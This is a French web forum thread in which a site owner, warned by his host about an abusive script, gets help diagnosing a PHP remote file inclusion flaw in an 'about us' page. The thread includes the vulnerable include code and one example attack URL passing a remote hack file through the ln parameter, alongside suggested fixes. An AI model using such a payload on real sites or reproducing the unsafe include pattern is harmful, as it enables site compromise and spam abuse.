Aller au contenu

Abusive Script


nippon

Sujets conseillés

Bonjour à tous, je viens de me faire épingler par mon hebergeur pour motif "Abusive Script/Spam Complaint". En Uk dans le texte, voici ce qu'il me reproche:

--

Dear Laurent,

During a recent audit of our servers we found there to be a problem with a script on your site. This script allows abuse of our system resources and services. You must update or fix all scripts to protect against any sort of abuse or exploitation. Please respond back with what action you plan to take in regard to this or we will be forced to take further action including suspension of your account. Should you have any questions please do not hesitate to contact us.

--

Le probleme ne porte que sur une page et desormais, cette page n'est plus accessible (en raison de l'hebergeur il me semble). Il n'y avait pas de problème avec cette page depuis plus d'un an, donc est-ce que c'est une faille qu'un spameur a finalement trouvé et exploité ou est-ce un problème de mon hébergeur ? Est-ce que je peux trovuer rapidement ce qui cloche dans ce script ? Merci de vos conseils !

Lien vers le commentaire
Partager sur d’autres sites

Bonjour,

Contacte les mais en général il s'agit de formulaire de contact qui sont exploités par des spammeurs. Lorsque que les champs "from", "to" sont accessibles par des champs, les spammeurs font de l'injection dans ces champs de milliers d'emails, donc non seulement tu reçois le spam, mais en plus le serveur où tu es hébergé commence à diffuser des milliers d'emails, et de recevoir les retours de spams !!

Donc si c'est ton cas, cherche sur le net "injection email" sinon, ton problème n'est pas décrit suffisament pour te guider

Amicalement

Patrick

Edit captain_torche : inutile de citer le message précédent; on vient de le lire

Modifié par captain_torche
Lien vers le commentaire
Partager sur d’autres sites

Le gros probleme que cela va générer, c'est que du coup l'ip du serveur se retrouve blacklistée. :-/

Quand t'es en mutualisé et qu'un de tes colocs poste une mauvaise page de contact, tu te retrouve taggé comme spammeur par les filtres :-(

Lien vers le commentaire
Partager sur d’autres sites

Lorsque que les champs "from", "to" sont accessibles par des champs, les spammeurs font de l'injection dans ces champs de milliers d'emails, donc non seulement tu reçois le spam, mais en plus le serveur où tu es hébergé commence à diffuser des milliers d'emails, et de recevoir les retours de spams !!

Pas seulement !

Tous les champs susceptibles d'être modifiés par un internaute doivent être sérieusement analysés avant de les passer au programme de mail, y compris le champ "message".

Un texte de contenu peut aussi contenir des injections d'entêtes... on ne le sait pas assez!

Lis cette page, elle te surprendra certainement ;)

http://www.securephpwiki.com/index.php/Email_Injection

Lien vers le commentaire
Partager sur d’autres sites

Merci pour ce lien, j'ai trop facilement tendance à oublier que tout le monde n'est pas forcément à l'aise avec des textes en Anglais ;)

Lien vers le commentaire
Partager sur d’autres sites

Merci à tous pour vos réponses, cependant je m'apperçois que j'aurais dû être plus précis. La page mise en cause par mon hebergeur ne contient pas de champs, c'est une page de style "about us" toute simple en php. Elle contenait une description de la societe et des liens vers nos clients.

Est-ce que quelqu'un peut me dire ce qui cloche là-dedans ? C'est le développeur du site qui devrait s'occuper de ça mais comme il n'a jamais voulu ou pu terminer le boulot...

Modifié par nippon
Lien vers le commentaire
Partager sur d’autres sites

Suite au conseil de Dan, je poste cette page pour vous permettre d'y voir plus clair. Merci de votre aide !


<?php
include "$ln/libelles.php";
include "includes/include_categories.php";
include "includes/include_familles.php";
require_once("includes/include_articles.php");
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<title><?php echo $libelle['nippon_news']." > ".$libelle['menu_aboutus']; ?></title>
<?php
include ("header.php");
echo "<div id=\"page_about-us\">\n";
include ("$ln/static/about-us.txt");
echo "</div>\n";
include ("footer.php");

?>

Lien vers le commentaire
Partager sur d’autres sites

Je vois deux problèmes potentiels dans ton code... dûs à la variable $ln que tu utilises dans

include "$ln/libelles.php";

include ("$ln/static/about-us.txt");

Où est définie cette variable $ln ?

Es-tu certain que ces répertoires ne sont pas accessibles en écriture par le web et as-tu vérifié ceux-ci ?

Lien vers le commentaire
Partager sur d’autres sites

Dan, merci de prendre le temps de me répondre. Tes questions sont simples mais je sais pas y répondre car je n'ai pas ecris ce site. J'en suis juste le propriétaire et l'utilisateur principal. Si tu me donnes quelques indices, je chercherai "ou est définie cette variable $ln" (dans quel type de ficher ?). Quand à savoir les répertoires ne sont pas accessibles en écriture... j'aurais malheureusement tendance à croîre que si. Je viens de trouver des virus et des folders (qui dirigent vers des sites pharmaceutiques... tu vois le genre !) et certain sont impossible à supprimer même via webshell.

Lien vers le commentaire
Partager sur d’autres sites

Tu as peut-être un accès en SSH sur ce serveur ? Il te permettrait de faire le ménage.

Difficile de te dire où cette variable $ln peut être définie, peut-être dans header.php ?

Il semble bien que ce soit par là que tes intrus soient entrés s'ils ont pû réécrire cette variable (par exemple en la passant dans l'URL si ton serveur n'a pas register-globals à off).

Lien vers le commentaire
Partager sur d’autres sites

Tu peux penser qu'ils appellent la page de cette maniere :

mapage.php?ln=http://example.com/fichierhack.php

Une solution est de vérifier d'ou est appelée cette page. -> cherche dans tous les fichiers php de ton site un include avec le nom de ce fichier.

Comme solution :

1) si $ln est toujours le meme pour tout ton site : le mettre en dur

ou

2) Dans les fichiers incluant celui ci, définir une constante (php -> DEFINE). et dans les fichiers inclu, tester cette constante

Lien vers le commentaire
Partager sur d’autres sites

Désolé pour ce temps de réponse, mais quand on s'y connait peu, c'est pas évident de tout comprendre tout de suite :blush:

Je me demande si c'est bien $ln qui pose le probleme. Mon site étant en trois langues (fr, en, jp), on utilise pour rediriger vers les pages correspondantes :

nomdusite/home.php?ln=fr

nomdusite/home.php?ln=en

nomdusite/home.php?ln=jp

Toutes les pages s'ouvrent normallement sauf la page about-us, et ce quelque soit la langue. Dans ce cas, on a le message d'erreur :

Warning: Unknown(/hsphere/local/home/nipponne/nipponnews.net/about-us.php): failed to open stream: Permission denied in Unknown on line 0

Warning: Unknown(/hsphere/local/home/nipponne/nipponnews.net/about-us.php): failed to open stream: Permission denied in Unknown on line 0

Warning: (null)(): Failed opening '/hsphere/local/home/nipponne/nipponnews.net/about-us.php' for inclusion (include_path='.:/usr/local/lib/php:/usr/local/lib/php/PEAR:/usr/local/share/pear') in Unknown on line 0

Est-ce que vous y comprenez quelque chose ?

Lien vers le commentaire
Partager sur d’autres sites

Je pense aussi à une faille include.

Pour les messages d'erreur,ton hébergeur a du bloqué l'accés pour éviter les abus.

Pour les fichiers que tu n'arrive pas à supprimer: envoie un mail a ton hébergeur,ils te les supprimera.

Par contre,il faudrait sécuriser rapidement le script car ce genre de faille est très dangereux et maintenant qu'il y a eu des attaques,si tu ne corrige pas ils reviendront.

Lien vers le commentaire
Partager sur d’autres sites

Veuillez vous connecter pour commenter

Vous pourrez laisser un commentaire après vous êtes connecté.



Connectez-vous maintenant
×
×
  • Créer...